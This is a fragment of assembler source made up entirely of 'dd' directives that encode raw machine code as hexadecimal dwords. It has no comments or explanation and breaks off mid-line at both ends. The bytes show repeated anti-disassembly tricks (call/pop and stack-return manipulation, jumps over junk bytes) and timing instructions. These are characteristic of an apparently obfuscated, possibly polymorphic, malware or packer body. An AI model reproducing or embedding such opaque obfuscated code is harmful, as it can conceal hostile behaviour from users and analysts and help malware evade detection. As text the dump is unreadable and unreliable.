0DCD9260Fh dd 3FBB6638h, 6A905F3Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 66D8C356h, 95FFDA8Bh dd 5EA320Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 1AC35646h, 0FF1E4820h, 66603A9Eh, 66F4C0BFh, 615125BBh dd 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 6781F523h, 31B58945h, 5105EA31h, 0CE9h dd 4473EE00h, 27214A1h, 0D577E76Ch, 85C75FD1h, 5EA25F5h dd 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh dd 2AC35545h, 11B67F1Dh, 89E7DC0Eh, 0EA06159Dh, 0E0BD8305h dd 5EDD9h, 27840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 21E937C3h, 8B000000h dd 0EA00059Dh, 0C305005h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E7D8DF81h, 0F88B4BE0h, 25F5BD83h dd 0F0305EAh, 3ED85h, 0BE900h, 9AD50000h, 0AF5AA0DAh, 8C9D4E5Bh dd 0E0BD835Fh, 5EDD9h, 3D0840Fh, 0C3800000h, 0E0B5FF00h dd 6A05EDD9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0E427C351h, 253D9D89h, 95FF05EAh dd 5EA128Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 73C35343h, 498D29D5h, 8B05EA1Dh, 0EDD9D4B5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0B11ADB6Ch, 7E96028h, 0D2000000h, 32CF400Bh, 0F3BA7ED4h dd 615DCDC9h, 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0AD5542C3h, 9F9E4A08h dd 0E9525096h, 10h, 8358353Ah, 38883B0h, 27B2D233h, 93AD6ED7h dd 585A310Fh, 96FB8B50h, 8E9h, 68417700h, 61C03B55h, 0E0B5FF97h dd 6005EDD9h, 4820Fh, 0BB660000h, 880F22A6h, 3, 6114E680h dd 326995FFh, 0BF6605EAh, 0B58B2EFAh, 5EDD9D4h, 858BFBB3h dd 5EA0881h, 0EE957h, 0A4270000h, 59FAE40h, 9C36F1D9h dd 21FFE7A4h, 0C486895Fh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0DA2FC357h dd 5DE39123h, 66927657h, 958BD98Bh, 5EA0ADDh, 6A04C283h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 21CAC356h, 85893310h, 5EA31DDh, 0A1BFBB52h dd 895B1DBBh, 858D2050h, 5EDEB67h, 3295BD8Bh, 868905EAh dd 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 3EC35040h, 0E5252F5Bh, 0F5A1EBDh, 8Dh, 6A006A00h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0BAADC357h, 149D9D89h, 9FB705EAh, 0D9E0B5FFh dd 958905EDh, 5EA2071h, 163D95FFh, 6A05EAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 7E9FC1C3h dd 7AEF80EFh, 11E95096h, 18000000h, 0E7053599h, 0E9F1E276h dd 0DCEADCA3h, 0DD061A3h, 0F08B6096h, 5E9h, 4754CB00h dd 0FF61002Dh, 0EDD9E0B5h, 13E905h, 0BEA00000h, 328EF141h dd 0FF84C89Dh, 65FD33E4h, 0DB0E1614h, 0A995FF4Ch, 6A05EA15h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 9A71C350h, 68B0Fh, 0BD8B0000h, 5EA00FDh dd 115DBD83h, 0F0005EAh, 684h, 0FB8B5000h, 0FF243489h dd 0EDD9E0B5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 41BD8BD0h, 0FF05EA14h dd 0EA1CC995h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 9A9447E5h, 0DF818503h dd 73348814h, 0ABCF8166h, 0E0B5FF0Dh, 6A05EDD9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0A7CC357h, 0D95FF42h, 6A05EA23h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 832BC350h dd 0EA0631BDh, 840F0205h, 41h, 858BFB8Bh, 5EA0C95h, 0D5858960h dd 8B05EA0Eh, 0C661C2h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 29E37D03h, 6645DE4Bh dd 33DEF6BFh, 0EA25D19Dh, 7D85C705h, 5EA09h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 2F62C353h, 0C781EE42h, 611B5F30h, 0F31BD09h dd 34E905EAh, 89FFFFF3h, 0EA2F65B5h, 0B7C18B05h, 8D858D07h dd 8105EA29h, 23D56FF7h, 0D98B9062h, 7BB6650h, 6A9005h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 857086C3h, 926F8325h, 0BF0F006Ah, 1006AFBh, 0EA101D85h dd 9E858D05h, 6A05EF29h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0E944C356h, 8, 0B27DA0B3h dd 81F9B9D8h, 0B705C083h, 860F9021h, 26h, 6E95250h, 0AA000000h dd 0EE1F0848h, 0E9310FDBh, 10h, 93592911h, 0D05E3A6Ah dd 22550960h, 76789658h, 5050585Ah, 0F525052h, 20BB6631h dd 0F585A0Ch, 0D86CBB31h, 585A5849h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 279A807Fh dd 6A1A8Fh, 0C840Fh, 860F0000h, 6, 830Fh, 6A0000h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A2C35343h, 4BF8C7Dh dd 5255D39Ah, 0D8BF0F5Bh, 23E995FFh, 8D8905EAh, 5EA1C31h dd 6E8h, 21924100h, 660518C8h, 71F5E381h, 9D8D8D5Bh, 6A05EDD8h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 2AA0C353h, 1D58EFB2h, 0C800FD5h, 0F000000h dd 683h, 9FC38100h, 0FF554665h, 50006AD1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 8C7191A1h dd 0BD832AB7h, 5EA02D1h, 74850F01h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0D49C355h, 73BB97B6h, 811B0E03h, 0D64506C3h, 89026A7Ah dd 0EA2C519Dh, 0B4BB9005h, 5078DEE8h, 90FA8B66h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 70C35141h, 1FCFCE9h dd 31DC8ABFh, 45BD0979h, 0FF05EA0Dh, 0EA163D95h, 0B19D8B05h dd 0E905EA05h, 0E04h, 0E8h, 0ED815D00h, 5EF29A8h, 0EE9h dd 7C28C300h, 0EF97ED42h, 295335B7h, 6A32F05Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 824AC355h, 9E79EA2h, 60E23992h, 65C2EA81h, 0BD893E6Bh dd 5EA14A1h, 85015161h, 5EA0875h, 87858D5Fh, 6A05EDC3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0D7A0C356h, 0EE9C4F1h, 95000000h dd 483605FAh, 0BA346444h, 5AE966B6h, 489502Eh, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B60947Bh, 0EA129595h, 5E805h, 26730000h, 5A2A70E5h dd 35FF6461h, 0 dd 2BC99589h, 896405EAh, 25h, 7E96000h, 2D000000h, 5CCE6B4Dh dd 858924F5h, 5EA02BDh, 4985FF61h, 6A05EA1Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0C8E6C356h, 0FF6AFAA7h, 0FFFEB70Fh, 0EA003DB5h, 9DBD8B05h dd 8B05EA2Eh, 0EA0169BDh, 4995FF05h, 0E905EA14h, 11Ch dd 0A810Fh, 5E90000h, 0DF000000h, 731B26Ch, 5612BB66h dd 958900B0h, 5EA2325h, 0E6D98B66h, 79B52970h, 0E405EA1Dh dd 398D2971h, 3C05EA0Fh, 0E5830F61h, 0F000000h, 686h, 799D8B00h dd 0F05EA1Ch, 880FC8B6h, 5, 0FDF8166h, 0BADE8B37h, 6, 895AE381h dd 0C18B2E2Fh, 0D359D2Bh, 0E8C105EAh, 14E904h, 1F290000h dd 0ADFD2BD9h, 17660C60h, 0F46404F1h, 58C43ECh, 0F76688E8h dd 0B7C82BE2h, 29D18BC4h, 0EA1D5D8Dh, 86E905h, 57BB0000h dd 8B1208E5h, 554C5085h, 7C08347h, 0C1BD8B50h, 5F05EA30h dd 0E900C083h, 0Eh, 0E2F80056h, 0D25E2C53h, 1E6734CFh dd 0D03B655Ch, 11830Fh, 0BF660000h, 49E9AF07h, 52000000h dd 2D61BD0Bh, 8B5F05EAh, 0FFFFFF8Dh, 4DB589FFh, 8305EA29h dd 840F01E1h, 2Ch, 0DE957h, 481B0000h, 0FA8AD7B3h, 7A99F704h dd 5F500B42h, 0FFFFA583h, 29FEFFFFh, 0EA0F15B5h, 50958905h dd 0E947554Ch, 0 dd 0A3E5B58Dh, 6A05EEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0E7D0DBC3h, 3B2BEF9Bh, 6A3D4Eh dd 10E9h, 94039B00h, 0FB5A44D6h, 15393F35h, 158BB6A9h dd 1595FF53h, 0E905EA10h, 9, 3D422C97h, 2A5613F3h, 0FBAB928h dd 5E90000h, 8F000000h, 0FABE6B5Dh, 6AFCE183h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 4F7AC357h, 0C8C8BB1Eh, 0BD290AA5h, 5EA00D9h, 52006AFCh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 89196F50h, 0EA2BD195h, 6AC02B05h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EEC353h dd 89F23E20h, 0EA003185h, 8BD22B05h, 0EA0EC59Dh, 0C233AD05h dd 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 3736DA08h dd 0BF0F3C75h, 0CF8166DAh, 880D5858h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 4952C353h, 669EB0C8h, 0AB37F781h, 0ADD958Bh, 6A05EAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 3899E5C3h, 7E808h, 0DB560000h, 724615F4h, 5995896Ch dd 5B05EA31h, 0ACD8D8Bh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 5F4BB8C3h, 242BBAA3h dd 8B669F55h, 0C28B50DEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 56A9C356h, 0F34A67F0h, 0E9D9BF0Fh dd 12h, 588DA0A3h, 4BA450ABh, 0D4A4FB0Bh, 0C03F46F8h, 0F606C45h dd 158Bh, 10E900h, 4D30000h, 0A873F2EEh, 83EA6D9Eh, 57B43E8Ah dd 8F0FE4C7h, 6, 59FCCF81h, 83617E04h, 0EA0819BDh, 840F0005h dd 60h, 3A61C381h, 0B87226h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2840C356h dd 5E7E2CF3h, 0F0C2F4Ch, 0E89h, 0B5896000h, 5EA0125h, 3105B58Bh dd 896105EAh, 0EA2B59BDh, 218D8D05h, 0F05EA4Ch, 388h, 64D78000h dd 9D8BE1FFh, 5EA1481h, 25F5BD83h, 0F0005EAh, 3E084h, 0F5BD8300h dd 105EA25h, 3EE840Fh, 83F80000h, 0EA25F5BDh, 860F0305h dd 3AAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0D4C35545h, 0CC09F971h, 8AA3AF12h, 0C6BF665Eh dd 0F860FCF6h, 0F5D98C66h, 6A04E180h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2D28C351h dd 0FC90AEBh, 12B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0A9C94280h, 51C64572h dd 0E781FB07h, 3B92E0D7h, 1629858Bh, 0BD3305EAh, 5EA19D1h dd 15358533h, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 4A488CC3h, 7B22B6DEh, 0BB6690FCh dd 0B75060C6h, 6A90B9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 6A16C3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0F6C35040h, 0B731840Ah, 4DC6857h dd 8B6665EBh, 243481D8h, 65F40723h, 8B66F560h, 95FF61F7h dd 5EA320Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 9EC35343h, 16E28D32h, 5167D5Ch, 7894BB1Ah, 858926CDh dd 5EDD9E0h, 0E9F98B66h, 1CCh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0D4C35646h, 0B360DADAh, 1730190Fh dd 2D399D29h, 852905EAh, 5EA0745h, 0D9D8858Bh, 0C7F505EDh dd 1800h, 0BF665100h, 8B5FB6ECh, 0EDD9DCB5h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0E006C88Fh, 0FB8E78FEh, 0B5895FD9h, 5EA0089h, 59529h dd 858B05EAh, 5EA29E5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 5CC35242h, 82A628FDh, 8D89BD66h, 5EA2C29h dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0E826ECC3h, 9D430B93h, 0B3C9FDEFh, 29858B7Eh dd 8B05EA16h, 0EA2B81BDh, 474DBB05h, 46897A12h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0B1BD8BB9h, 5005EA29h, 986BB9BFh, 2434894Dh, 11D99D8Bh dd 0B5FF05EAh, 5EDD9D8h, 14E9h, 6CFA2200h, 0D826DCFFh dd 48E619CDh, 23118594h, 0F476A196h, 53DF6886h, 800F9781h dd 10h, 0BE9h, 0B5CA6300h, 51E01F3Ah, 84299219h, 20240481h dd 6A689DB0h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0CCE3C350h, 2797554Ch, 0E0858DE2h dd 905EDD9h, 0EA1E4DB5h, 0F509005h, 685h, 0F525000h, 5B585A31h dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 22E261C3h, 5B66C8EFh, 95FFF5B7h, 5EA320Dh dd 459D01h, 8D2905EAh, 5EA31C1h, 51006A61h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 8AE39123h dd 0F585C7D9h, 305EA25h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6EAEC352h dd 0D6524546h, 7C91323Ah, 12419D8Bh, 0BD8305EAh, 5EDD9E0h dd 27840F00h, 51000000h, 3AE95FFCh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 4386C355h, 305018AEh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 9D8953B7h, 5EA02D5h, 25F5BD83h dd 0F0305EAh, 49E85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 8C0F96F0h, 6, 13259D33h dd 858905EAh, 5EA05EDh, 83FFB70Fh, 0EDD9E0BDh, 840F0005h dd 45Fh, 14E9h, 5A76900h, 0D144A311h, 2AD8BDA7h, 0F69A399Ah dd 368B392Dh, 0E0B5FF86h, 6A05EDD9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 36FBC351h dd 647C4AB6h, 0B58993ECh, 5EA012Dh, 6E9h, 5C836400h, 80DA6918h dd 95FF67D7h, 5EA128Dh, 29B99509h, 34BF05EAh, 8B4F5734h dd 0EDD9D4B5h, 0EE805h, 35BC0000h, 499BB94Ah, 30ED25A7h dd 883E769Bh, 0C75B62B7h, 1000106h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E9A7831Dh dd 0Eh, 0E3A3A8Eh, 3EC1A277h, 4A628EA1h, 7DB30360h, 0BF525096h dd 362AF034h, 6EBB310Fh, 5A7F50BEh, 0F965058h, 586h, 0F3816600h dd 81668641h, 0FF51C2F3h dd 0EDD9E0B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 80C5BAFDh, 509CC0A0h dd 1E898D01h, 0FF5F05EAh, 0EA326995h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0B10A45AEh, 0D0077038h, 0FE973h, 8B740000h, 60251023h dd 0CE36E314h, 7310E141h, 62C781C6h, 8B1B4598h, 0EDD9D4B5h dd 79BD8905h, 8B05EA1Bh, 0EA088185h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0C3B4CA60h dd 5870Fh, 39BB0000h, 893A4953h, 0C486h, 0DD958B00h, 6A05EA0Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 75F0C353h, 4C2838Fh, 14E9h, 1F6E7900h, 648579F4h dd 0FBC57757h, 6E9C20AEh, 0C38A8664h, 205089C3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 6C35646h, 1806B040h dd 0EB67858Dh, 6A05EDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0C4C9E7C3h, 3B8C8C1h, 86896163h dd 0B8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 61C35545h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0DEE982C3h, 16BC149Bh dd 0DA8B6646h, 0D9E0B5FFh, 0D98A05EDh, 50BDCF81h, 95FF14C0h dd 5EA163Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0E6C35545h, 8DB53148h, 0B305EA2Eh, 5250506Dh, 9E860h dd 71940000h, 259E70B9h, 5AEFAAAEh, 0F6178B5h, 61605731h dd 89585A5Bh, 0BF0F2434h, 0E0B5FFFEh, 6A05EDD9h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 3364C351h, 0C1B501h, 95FF05EAh, 5EA15A9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 19C35242h, 66DBBF0Fh dd 83EA52BBh, 0EA115DBDh, 840F0005h, 22h, 3DA8B66h, 0EA10859Dh dd 0DE99605h, 2C000000h, 3CAD011Dh, 4A55610Eh, 0FAB7FE59h dd 47BB6650h, 0B5FF96E3h, 5EDD9E0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 6EC35545h, 76E494D9h, 0FFB26B71h dd 0EA1CC995h, 7E805h, 811C0000h, 6F9AF8C8h, 9D8B6003h dd 5EA0BC5h, 5F616160h, 0D9E0B5FFh, 0BD8B05EDh, 5EA1E3Dh dd 230D95FFh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 662FDEC3h, 0BD83D88Bh, 5EA0631h dd 7A840F02h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0E05FC355h, 9C7C2291h dd 26BF66EAh, 6850FAEh, 8B000000h, 0EA02EDBDh, 95096005h dd 5EA0B55h, 1241B529h, 8B6105EAh, 0EA0C9585h, 0C19D8B05h dd 0C605EA13h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 6E255EC3h, 6667E313h, 2996FEBBh dd 0EA2A3D95h, 7D85C705h, 5EA09h, 8B000000h, 0EA25E59Dh dd 9D9D0905h, 0E905EA25h, 0FFFFF33Eh, 3EBFF381h, 666030DAh dd 0F2C91BEh, 68Bh, 0D1BD3100h, 6105EA0Bh, 11E9C18Bh, 22000000h dd 33D549C9h, 9938C01Ch, 0F0F00915h, 8D448FF1h, 298D858Dh dd 316005EAh, 0EA0005B5h, 79B2B905h, 90617464h, 0DF8B5250h dd 8A52310Fh, 585A5BD8h, 6E950h, 38C80000h, 0BAB8151h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0C752BCF0h, 0F917FEB9h, 0BD29F847h, 5EA2BA9h dd 6E8006Ah, 0B7000000h, 8A4EBED7h, 0CB81661Bh, 6A5B1D02h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 81BA2DF1h, 0BA389EBh, 0F1858D11h, 6A05EF39h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0B2A5C351h, 6B632D90h, 5C08394h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E9C35141h, 0F19D316Dh dd 9005EA1Eh, 0E850B9B3h, 7, 0F9312C7Ch, 5181A549h, 5F5F5B56h dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0EDA0C361h, 489CFFDh, 66006A3Ch, 0FE9F88Bh dd 0E1000000h, 0FB20231Bh, 29052FBBh, 0B1EE9535h, 6A6554h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0C35747h dd 8546AE49h, 0FF4D103Bh, 0EA23E995h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0D857EFB7h, 0BB667864h, 0BF665BEFh, 8D8D14B4h, 5EDD89Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D9C35343h dd 0A19D8BF5h, 0FF05EA00h, 57006AD1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0A9CF9D63h dd 0BD835B56h, 5EA02D1h, 6B850F01h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 724FC352h, 0DE8FBh, 0F3D10000h, 0CDA63D07h, 5250A9A7h dd 89961333h, 0EA2D4195h, 8A0F5B05h, 18h, 13E9h, 0DA8AB700h dd 0C4B06E30h, 512B1DBEh, 0EF477632h, 0D9B34A27h, 0BF50026Ah dd 5255ACDEh, 0BB240489h, 158FA177h, 163D95FFh, 0F5E905EAh dd 0E800000Dh, 0 dd 0FBED815Dh, 8905EF39h, 0EA0F599Dh, 58A0F05h, 0BB000000h dd 6E1CA533h, 0D9F5BF66h, 0C387858Dh, 6A05EDh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 64AE37C3h, 8AE092C6h, 0BE8901Dh, 6E000000h, 0BA19A9CEh dd 72CA8E59h, 0BB66F528h, 505F0DC7h, 0BE9h, 4E526D00h dd 64F68336h, 9D6E07CEh, 0FA8B6690h, 35FF64h, 29000000h dd 0EA149D85h, 25896405h, 0 dd 0FFD98B66h, 0EA1C4985h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 7E8FCBDh, 97000000h dd 0DD06DF2Ah, 8B5640ADh, 0EA2515BDh, 6A5F5F05h, 0FB8B66FFh dd 1C19B5FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 8E9555C3h, 0C1DB09CEh, 7E9h, 289EFD00h dd 0B2CACEB1h, 144995FFh, 1AE905EAh, 0B000001h, 0EA24DDBDh dd 359D8905h, 0B005EA06h, 69BD8900h, 0E605EA1Dh, 21BD8B70h dd 0E405EA0Ah, 0DA8B6671h, 830F613Ch, 0F1h, 131DBD09h dd 0BD8905EAh, 5EA28D5h, 0E9C8B60Fh, 0Fh, 54AA65D3h, 4EDAB044h dd 45873DAEh, 0BAADEE19h, 6, 0BD8BC18Bh, 5EA17E5h, 0E904E8C1h dd 14h, 0CFDBDF15h, 0D2AF9BA7h, 0F986F5F6h, 983A5480h dd 0C242FB19h, 66E2F766h, 0C82BFB8Bh, 13E8h, 5716BF00h dd 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h, 0D9D0EDC5h, 6EEFF781h dd 8B5B13C3h, 0E9DE8BD1h, 75h, 10E9h, 0B2C4A400h, 6B91DB79h dd 85C5392h, 0D0826083h, 49858B24h, 8344004Eh, 816607C0h dd 835583EFh, 0DA8B00C0h, 830FD03Bh, 10h, 8330B4BBh, 3BE97Ah dd 0B5290000h, 5EA1D65h, 0FFFF8D8Bh, 9589FFFFh, 5EA074Dh dd 0F01E183h, 2084h, 0DB58900h, 8305EA03h, 0FFFFFFA5h dd 0BF0FFEFFh, 499589F9h, 6644004Eh, 0DAECCF81h, 0E9h dd 9FB58D00h, 6A05EEB3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0DF15C352h, 9BA7CFDBh dd 0E381006Ah, 71C4F755h, 95FFFD8Ah, 5EA1015h, 1C958D29h dd 55B905EAh, 6A00000Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 814DC353h, 0ACB9DCEBh dd 0FCE1833Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 87C35040h, 6AFCD41Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0B833C351h, 0 dd 3D958960h, 8905EA1Bh, 0EA1571B5h, 0D22B6105h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F9C35242h, 9C808EBh dd 0BBBEF60Dh, 0CBFDF97h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B9C35343h dd 7159763h, 0BD0101FFh, 5EA0765h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0B6C35040h, 9D92B85h, 0EA14159Dh dd 880D05h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0B907AFC3h, 0EDF738BEh, 958BE73Ah dd 5EA0ADDh, 9BD8D89h, 8D8B05EAh, 5EA0ACDh, 50FEBF0Fh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 7E958h dd 3EC00000h, 91388892h, 56006AAAh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 720E4F6Ah, 0E879EDA4h dd 0Ch, 0D18293B1h, 20FB675h, 0D83A94A7h, 19BD835Fh, 5EA08h dd 8D840Fh, 0B70F0000h, 0B8DBh, 0B5290000h, 5EA0A91h, 4C218D8Dh dd 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 9E064EC3h, 11E9C0E3h, 0B4000000h, 45D1725Dh dd 0A2AAC363h, 551A7776h, 93FD6935h, 6AE1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0FCA19CC3h dd 7344B574h, 0E8F52D3Ah, 10h, 2092068Ah, 0BD2DB2D0h, 8F624516h dd 0B2A4892Fh, 6C99D03h, 835B05EAh, 0EA25F5BDh, 840F0005h dd 40Fh, 0E5F046BBh, 0F5BD8371h, 105EA25h, 418840Fh, 0CE80000h dd 0CD000000h, 0CFC3368Eh, 650019FFh, 806865F9h, 835BE9E7h dd 0EA25F5BDh, 860F0305h, 3C0h, 52006A60h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 616B3E2Bh dd 2FDF8948h, 8B0F5099h, 4, 0EA34BB66h, 0D98C665Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 1DC35646h, 8B15DD7Eh dd 4E180DAh, 